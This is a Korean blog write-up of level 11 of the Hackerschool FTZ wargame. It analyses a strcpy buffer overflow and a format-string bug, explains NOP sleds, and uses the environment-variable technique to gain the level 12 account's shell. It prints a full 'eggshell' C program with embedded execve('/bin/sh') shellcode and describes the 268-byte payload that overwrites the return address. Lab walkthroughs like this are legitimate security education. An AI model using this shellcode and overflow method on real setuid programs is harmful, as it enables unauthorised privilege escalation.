level 11 로그인 후 hint를 본다.
간단하게 보자면 256byte 크기의 문자열을 받는다.
level 12 권한을 부여하고 문자열은 두 번째 인자로부터 받아온다.
받아온 인자를 출력한다.
간단하게 보면 이렇게 분석할 수 있다.
hint 코드에는 두 개의 취약점이 존재한다.
첫 번째는 Break Time인 BOF,GDB기초에서 BOF(버퍼 오버플로) 취약 함수에서 말했던 "strcpy"함수의 BOF 취약점이다.
두 번째는 "printf( str );"에서 포맷 스트링 버그가 발생할 수 있다.
포맷 스트링 버그(Format String Bug)는 더 어려운 내용이고 뒤에서 다루기 때문에 링크로 대체 하고 BOF를 이용한다.
어느 정도 파악해야 할 것은 끝난 것 같다.
일단 프로그램을 실행할 때 두 번째 인자까지 주어야 하고 그 인자로 "strcpy"함수에서 BOF를 일으켜 level 12 권한으로 쉘을 실행하면 해결이 될 것 같이 보인다
쉘 코드 실습에서 쉘 코드를 만드는 것을 배웠다. 이 문제에서는 쉘 코드가 필요하다.
BOF 공격에는 고전적인 방법과 환경변수를 이용하는 방법 두 가지 방법으로 풀 수 있다.
고전적인 방법
가장 고전적인 방법은 쉘 코드가 있는 곳의 주소를 추측하는 것이다. 프로그램의 실행 시점에 buffer 배열의 정확한 주소를 알 수가 없어서 추측하는 수밖에 없다. 그래서 몇 번의 시행착오를 거치면서 쉘이 떨어질 때까지 계속 공격을 시도해야 한다. 쉘 코드가 실행되는 확률을 좀 더 높이기 위해서 또한 buffer를 채우기 위해서 NOP를 사용하는데 보통 NOP는 0x90 값을 많이 쓴다.
NOP
NOP는 No Operation의 약자다. 즉 아무런 실행을 하지 않는다. gdb로 분석할 때 NOP가 붙어 있는 것을 볼 수 있다.
NOP의 역할은 기계어 코드가 다른 코드와 섞이지 않게 한다.
예를 들어 하나의 함수가 0xab로 끝나고 다음에 나오는 함수가 0xcdef로 시작한다고 할 때, 이 프로그램은 하나의 함수가 0xab를 수행하고 끝내기를 바란다. 하지만 뒤에 나온 0xcd를 만나 0xabcd라는 instruction과 0xef라는 전혀 다른 의미의 두 개의 instruction으로 오해될 수 있다. CPU는 instruction의 값을 보고 instruction set에 정의된 연산을 수행한다. 또한, 이 instruction의 길이는 일정하지가 않아 그 값을 보고 해당 instruction이 몇 byte짜리 instruction인지 인지한다. 따라서 instruction set에 해당 값이 있다면 하나의 instruction 단위를 거기서 잘라 인지하게 된다. 이러한 문제는 매우 자주 발생한다. 따라서 instruction이 섞이지 않게 하려고 instruction을 끊기 위한 목적으로 NOP가 사용된다. CPU는 NOP를 만나면 아무런 수행을 하지 않고 유효한 instruction을 만날 때까지 다음 instruction을 찾기 위해 한 바이트씩 이동한다.
BOF 공격에서 NOP는 이러한 특성을 이용하여 쉘 코드가 있는 곳까지 아무런 수행을 하지 않고 흘러들어 가게 만드는 목적으로 사용한다. 즉 CPU는 NOP를 만나면 유효한 명령이 있는 쉘 코드의 시작점이 나올 때까지 한 바이트씩 EIP를 이동시키게 된다.
그래서 고전적인 방법에서는 쉘 코드 앞을 NOP로 채우고 return address를 NOP로 채워져 있는 영역 어딘가의 주소로 바꾸면 operation의 흐름은 NOP를 타고 쉘 코드가 있는 곳까지 흘러들어 갈 수 있게 된다.
return address에 쉘 코드가 위치한 정확한 주소를 넣어준다면 아주 좋다. 하지만 위에서도 언급하였듯이 이 주소를 정확하게 찾기가 힘들어서 return address에는 NOP로 채워져 있는 사이의 값을 넣어주면 EIP는 return address가 가리키는 지점으로 가지만 NOP가 있어서 한 바이트씩 증가하여 쉘 코드를 만나는 주소까지 자동으로 이동하게 된다.
이 방법은 매우 노가다 성이 짙고 힘들어서 지금은 거의 사용되지 않는다. 이보다 훨씬 효과적이고 쉬운 방법들이 많이 나왔기 때문이다.
지금은 사용되지 않아서 환경변수를 이용한 방법으로 문제를 해결한다.
환경변수를 이용하는 방법
*nic 계열의 쉘에서 환경변수는 포인터로 참조된다. 그래서 환경변수가 메모리 어딘가에 항상 저장된다. 환경변수는 응용프로그램에서 참조하여 사용할 수 있어서 "putenv(), getenv()" 같은 API 함수들도 많이 사용된다. 바로 이러한 특성을 이용하여 공격자는 환경변수를 하나 만들고 이 환경변수에다 쉘 코드를 넣은 다음에 취약한 프로그램에 환경변수의 주소를 return address에 넣어줌으로써 쉘 코드를 실행하게 할 수 있다. 이 방법은 overflow 되는 버퍼의 크기가 쉘 코드가 들어갈 만큼 넉넉하지 못할 때 매우 유용하게 사용된다.
따라서 이제 알아야 할 것은 환경변수에 쉘 코드를 넣는 방법과 환경 변수가 위치한 주소를 알아야 한다. 이러한 역할을 하는 좋은 프로그램 "eggshell"이 있다.
이 방법의 핵심은 대부분 프로그램의 스택 시작점은 같다는 것이다. main() 함수가 실행될 때 스택 포인터는 이전 함수의 스택 아래에 만들어진다. 그리고 이전 함수의 base pointer를 저장하고 스택 포인터가 main 함수의 base pointer가 된다. 그리고 main 함수의 지역 변수들이 스택에 쌓이기 시작한다. 같은 쉘 환경에서 프로그램이 실행되면 main 함수에서 만나는 스택 포인터는 같을 수밖에 없다. 따라서 공격자는 스택 포인터의 주솟값을 알아내어 거기서부터 return address를 유추한다.
eggshell은 egg 배열에 들어있는 데이터를 EGG라는 환경변수로 등록한다. putenv() 함수가 이 역할을 한다. 프로그램을 실행시킨 쉘이 가진 환경변수가 프로그램이 할당받은 세그먼트에 저장되어 있다. eggshell이 환경변수를 적용한 쉘을 띄우는 여기 있다. EGG라는 환경변수가 새로 생성됨으로써 스택 세그먼트의 상단에 등록된 환경 변수들의 크기가 늘어나게 되고 main 함수의 base pointer는 그만큼 낮은 곳에 자리 잡게 된다.
따라서 eggshell 실행 후 보여주는 stack pointer 값은 EGG라는 환경변수가 위치한 범위 내의 어딘가를 가리키고 있게 된다. EGG 안에는 많은 NOP들이 들어있다. 이 NOP가 있음으로써 구해진 stack pointer가 쉘 코드의 정확한 시작점을 가리키지 않더라도 instruction pointer가 흘러서 쉘 코드 시작점까지 도달할 수 있게 된다. 그래서 이 값이 매우 유용한 return address의 대체 값으로 활용될 수 있다.
#include <stdlib.h>
#define _OFFSET 0
#define _BUFFER_SIZE 512
#define _EGG_SIZE 2048
#define NOP 0x90
char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89
\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";
unsigned long get_esp(){
__asm__ __volatile__("movl %esp, %eax"); // esp의 address를 return
}
int main(int argc, char **argv){
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int i;
int offset = _OFFSET, bsize = _BUFFER_SIZE, eggsize = _EGG_SIZE;
if(argc > 1) bsize = atoi(argv[1]);
if(argc > 2) offset = atoi(argv[2]);
if(argc > 3) eggsize = atoi(argv[3]);
if(!(egg = malloc(eggsize))){ // NOP와 쉘 코드를 넣을 버퍼 생성
printf("Cannot allocate egg.\n");
exit(0);
}
addr = get_esp() - offset; // stack pointer를 얻어 옴
printf("esp : %p\n", addr); // esp 값 출력
ptr = egg;
for(i = 0; i < eggsize - strlen(shellcode)-1; i++)
*(ptr++) = NOP; // egg를 NOP로 먼저 채움
for(i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i]; // 남은 공간을 쉘 코드로 채움
buff[bsize-1] = '\0';
egg[eggsize-1] = '\0';
memcpy(egg, "EGG=", 4);
putenv(egg); // EGG라는 환경변수로 등록
system("/bin/sh"); // 환경 변수가 적용된 쉘 실행
}
malloc()로 만들어진 메모리 공간은 힙(heap)에 만들어진다. 힙은 스택과 달리 낮은 메모리 주소에서 높은 메모리 주소 방향으로 할당된다. 이것이 힙에 만들어지는 것은 여기서는 별 의미가 없다. 그냥 그렇다는 것만 알아둔다. get_esp() 함수는 어셈블리 코드를 이용하여 ESP 레지스터가 가리키는 곳의 주소를 EAX 레지스터에 넣는 역할을 하는데 이것만으로 EAX 레지스터의 값이 리턴 된다.
eggshell을 작성하고 실행한다.
eggshell을 실행하면 주소가 나온다. 그러나 이 주소는 정확한 주소가 아니다.
EGG의 정확한 주소를 받아오기 위해 코드를 작성해준다.
eggshell의 주소와 realaddr의 주소가 서로 다르다. 이때 주소를 넣을 때는 리틀 엔디안으로 넣어야 한다.
eggshell 주소로 attackme에 BOF를 하면 오류가 난다.
이렇게 오류가 나서 정확한 주소를 찾기 위해 realaddr 코드를 만들어 주는 것이다.
realaddr 주소로 attackme에 BOF를 하면 오류가 나지 않고 level 12의 권한을 얻을 수 있다.
이때 str의 크기는 256인데 "A"*268을 넣는 이유가 있다.
gdb로 attackme를 열어보면
16진수 0x108, 10진수로는 264다. 이것은 str 256byte에 dummy 8byte가 끼어 있는 것이고 SFP의 크기인 4byte를 더하면 268byte가 되므로 "A"*268을 한다. 그러면 RET부분에 쉘 코드 주소가 덮어 써지게 된다.
str | dummy | SFP | RET |
256byte | 8byte | 4byte | 쉘 코드 주소 |
str(256byte) 크기를 넘어서 BOF를 SFP의 크기까지 쓰면 | 쉘 코드 주소가 이곳에 들어간다. |
'System Hacking > 해커스쿨 F.T.Z Hacking Zone' 카테고리의 다른 글
해커스쿨 F.T.Z Level 13 (0) | 2020.02.24 |
---|---|
해커스쿨 F.T.Z Level 12 (0) | 2020.02.23 |
해커스쿨 F.T.Z Level 10 (0) | 2020.02.19 |
해커스쿨 F.T.Z Level 9 (0) | 2020.02.18 |
해커스쿨 F.T.Z Level 8 (0) | 2020.02.14 |
댓글